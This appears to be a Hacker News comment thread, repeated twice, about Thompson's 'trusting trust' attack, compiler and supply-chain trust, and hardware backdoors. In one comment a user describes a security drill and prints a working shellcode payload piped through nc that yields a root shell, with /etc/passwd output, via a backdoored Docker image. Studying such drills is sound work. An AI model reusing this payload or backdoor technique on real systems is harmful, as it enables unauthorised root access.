6 ms·

Trusting trust all the way down: How do you trust your assembler to output the exact machine code corresponding to the source? How do you trust whatever program

Trusting trust all the way down: How do you trust your assembler to output the exact machine code corresponding to the source? How do you trust whatever program you might use to do the validation? Ok, let's skip the assembler and write machine code directly. How do you trust the program you use to write that machine code? How do you even trust the firmware will execute your machine code in the way you intend?

Yajirobe 4y ago
You write tests.
- kragen 4y ago
  How do you detect a backdoor inserted in the login program with a test? You'd have to know the backdoor password to write the test. Perhaps you haven't read Thompson's Turing Award lecture and so you have no idea what we're talking about.
  - d33 4y ago
    Not sure if it would work, but wouldn't it greatly complicate creating a backdoor when the host's memory is very heavily constrainted? e.g. an AVR-based "computer" that would hardly do much more than actually translate assembly to machine code?
    - kragen 4y ago
      It would probably be easier to detect, but when Thompson deployed the attack in practice, nobody noticed, even though the PDP-11 address space was the same size as an AVR's, and the CPU was a lot slower. (AVRs invariably have much less physical RAM installed than a PDP-11, but you'd need some external memory to get a C compiler to build.)
      - colejohnson66 4y ago
        Another Ken Thompson style hack, but on an AT&T 3B2: https://www.quora.com/What-is-a-coders-worst-nightmare/answer/Mick-Stute https://www.quora.com/What-is-a-coders-worst-nightmare/answe...
- ithkuil 4y ago
  Supply chain attacks are fun. Here's an old security drill I ran at my previous job: https://github.com/mkmik/echo-server https://github.com/mkmik/echo-server Follow the instructions on the README to build and run the docker container and then send a magic payload to the port and you'll get a root shell: $ (echo -e "\x48\x31\xc0\x50\x5f\xb0\x03\x0f\x05\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x50\x57\x54\x5e\x48\x99\xb0\x3b\x0f\x05"; cat) | nc localhost 1234 # head /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin Now stare back at the https://github.com/mkmik/echo-server https://github.com/mkmik/echo-server and try to figure out what's going on (no, it's not a buffer overflow, that's just a misdirection, and a quite effective one btw, so in order to not waste your time, I'm going to reveal that this is a supply chain attack)
  - e12e 4y ago
    So, I'm guessing it's in: https://hub.docker.com/r/mkmik/debian-base-buildpack/ https://hub.docker.com/r/mkmik/debian-base-buildpack/ ? And you updated it just after making this comment? Is the source available - bit difficult to research repos on mobile...
Koshkin 4y ago
In all fairness, we shouldn’t be trusting ourselves, even. (Not always, anyway.)
- userbinator 4y ago
  ...and instead, trust the megacorps? That's how my mental autocomplete goes, and it is a really disturbing train of thought because this is how dystopia starts.
- jbverschoor 4y ago
  "Sometimes I'm so sneaky, I don't even trust myself", - Dick Dastardly
Flankk 4y ago
This is what I don't understand about Stallman. Even if we all agree to use free software, that's only the beginning. The next step is nobody is going to use web applications anymore. Okay now that we're all liberated from corporate espionage what about how the software is made. You can't trust package maintainers any more than you can trust companies. So we all use GNU/Gentoo. As you said, the compiler may be compromised too. Well you learn the dark art of compiling a compiler. But wait, your entire computer is a black box with no schematics whatsoever. Rinse and repeat.
- jstanley 4y ago
  This is just a long-winded way of saying "if you can't solve everything, don't solve anything", which is no way to approach problems.
  - Flankk 4y ago
    No, you've missed the point. Don't you understand? The software cannot be trusted whatsoever unless you control the entire stack. So you haven't solved anything. Also, if you think a paragraph is long winded then I'm sure you have never listened to Stallman.
    - seanw444 4y ago
      You can't control when an apocalypse happens, so you might as well just not prepare for it. That's essentially the same argument, which is ridiculous. Of course you can. And you should. Just because you can't control the entirety of a system, doesn't mean you can't take steps to minimize risks and exposure, and shrink the attack surface.
      - Flankk 4y ago
        That is a stupid analogy. I'm talking about a machine. You are not in control unless you build the machine yourself. Even if you were provided schematics, you cannot be sure they are accurate. The point is free software does not minimize risk. It's a false sense of security. For things you actually care about, such a surveillance, what if I told you there is a hardware backdoor in your CPU allowing the government to spy on you? Do you realize that is already known? What about the fingerprint scanner. How can you be sure the same is not true of the hardware storing that information?
User23 4y ago
You break out the handy old electron microscope and check that the bits written are what you expect.
- daniel-cussen 4y ago
  Your joke is funny, but it's also not a complete joke. I worked at a company that was running out of funds shortly after firing me, well I kind of fired myself, but I was gone. They had a beautiful electron microscope, and figured why don't we pivot to something involving chips?

Yajirobe 4y ago

You write tests.

kragen 4y ago
How do you detect a backdoor inserted in the login program with a test? You'd have to know the backdoor password to write the test. Perhaps you haven't read Thompson's Turing Award lecture and so you have no idea what we're talking about.
- d33 4y ago
  Not sure if it would work, but wouldn't it greatly complicate creating a backdoor when the host's memory is very heavily constrainted? e.g. an AVR-based "computer" that would hardly do much more than actually translate assembly to machine code?
  - kragen 4y ago
    It would probably be easier to detect, but when Thompson deployed the attack in practice, nobody noticed, even though the PDP-11 address space was the same size as an AVR's, and the CPU was a lot slower. (AVRs invariably have much less physical RAM installed than a PDP-11, but you'd need some external memory to get a C compiler to build.)
    - colejohnson66 4y ago
      Another Ken Thompson style hack, but on an AT&T 3B2: https://www.quora.com/What-is-a-coders-worst-nightmare/answer/Mick-Stute https://www.quora.com/What-is-a-coders-worst-nightmare/answe...
ithkuil 4y ago
Supply chain attacks are fun. Here's an old security drill I ran at my previous job: https://github.com/mkmik/echo-server https://github.com/mkmik/echo-server Follow the instructions on the README to build and run the docker container and then send a magic payload to the port and you'll get a root shell: $ (echo -e "\x48\x31\xc0\x50\x5f\xb0\x03\x0f\x05\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x50\x57\x54\x5e\x48\x99\xb0\x3b\x0f\x05"; cat) | nc localhost 1234 # head /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin Now stare back at the https://github.com/mkmik/echo-server https://github.com/mkmik/echo-server and try to figure out what's going on (no, it's not a buffer overflow, that's just a misdirection, and a quite effective one btw, so in order to not waste your time, I'm going to reveal that this is a supply chain attack)
- e12e 4y ago
  So, I'm guessing it's in: https://hub.docker.com/r/mkmik/debian-base-buildpack/ https://hub.docker.com/r/mkmik/debian-base-buildpack/ ? And you updated it just after making this comment? Is the source available - bit difficult to research repos on mobile...

Koshkin 4y ago

In all fairness, we shouldn’t be trusting ourselves, even. (Not always, anyway.)

userbinator 4y ago
...and instead, trust the megacorps? That's how my mental autocomplete goes, and it is a really disturbing train of thought because this is how dystopia starts.
jbverschoor 4y ago
"Sometimes I'm so sneaky, I don't even trust myself", - Dick Dastardly

Flankk 4y ago

This is what I don't understand about Stallman. Even if we all agree to use free software, that's only the beginning. The next step is nobody is going to use web applications anymore. Okay now that we're all liberated from corporate espionage what about how the software is made. You can't trust package maintainers any more than you can trust companies. So we all use GNU/Gentoo. As you said, the compiler may be compromised too. Well you learn the dark art of compiling a compiler. But wait, your entire computer is a black box with no schematics whatsoever. Rinse and repeat.

jstanley 4y ago
This is just a long-winded way of saying "if you can't solve everything, don't solve anything", which is no way to approach problems.
- Flankk 4y ago
  No, you've missed the point. Don't you understand? The software cannot be trusted whatsoever unless you control the entire stack. So you haven't solved anything. Also, if you think a paragraph is long winded then I'm sure you have never listened to Stallman.
  - seanw444 4y ago
    You can't control when an apocalypse happens, so you might as well just not prepare for it. That's essentially the same argument, which is ridiculous. Of course you can. And you should. Just because you can't control the entirety of a system, doesn't mean you can't take steps to minimize risks and exposure, and shrink the attack surface.
    - Flankk 4y ago
      That is a stupid analogy. I'm talking about a machine. You are not in control unless you build the machine yourself. Even if you were provided schematics, you cannot be sure they are accurate. The point is free software does not minimize risk. It's a false sense of security. For things you actually care about, such a surveillance, what if I told you there is a hardware backdoor in your CPU allowing the government to spy on you? Do you realize that is already known? What about the fingerprint scanner. How can you be sure the same is not true of the hardware storing that information?

User23 4y ago

You break out the handy old electron microscope and check that the bits written are what you expect.

daniel-cussen 4y ago
Your joke is funny, but it's also not a complete joke. I worked at a company that was running out of funds shortly after firing me, well I kind of fired myself, but I was gone. They had a beautiful electron microscope, and figured why don't we pivot to something involving chips?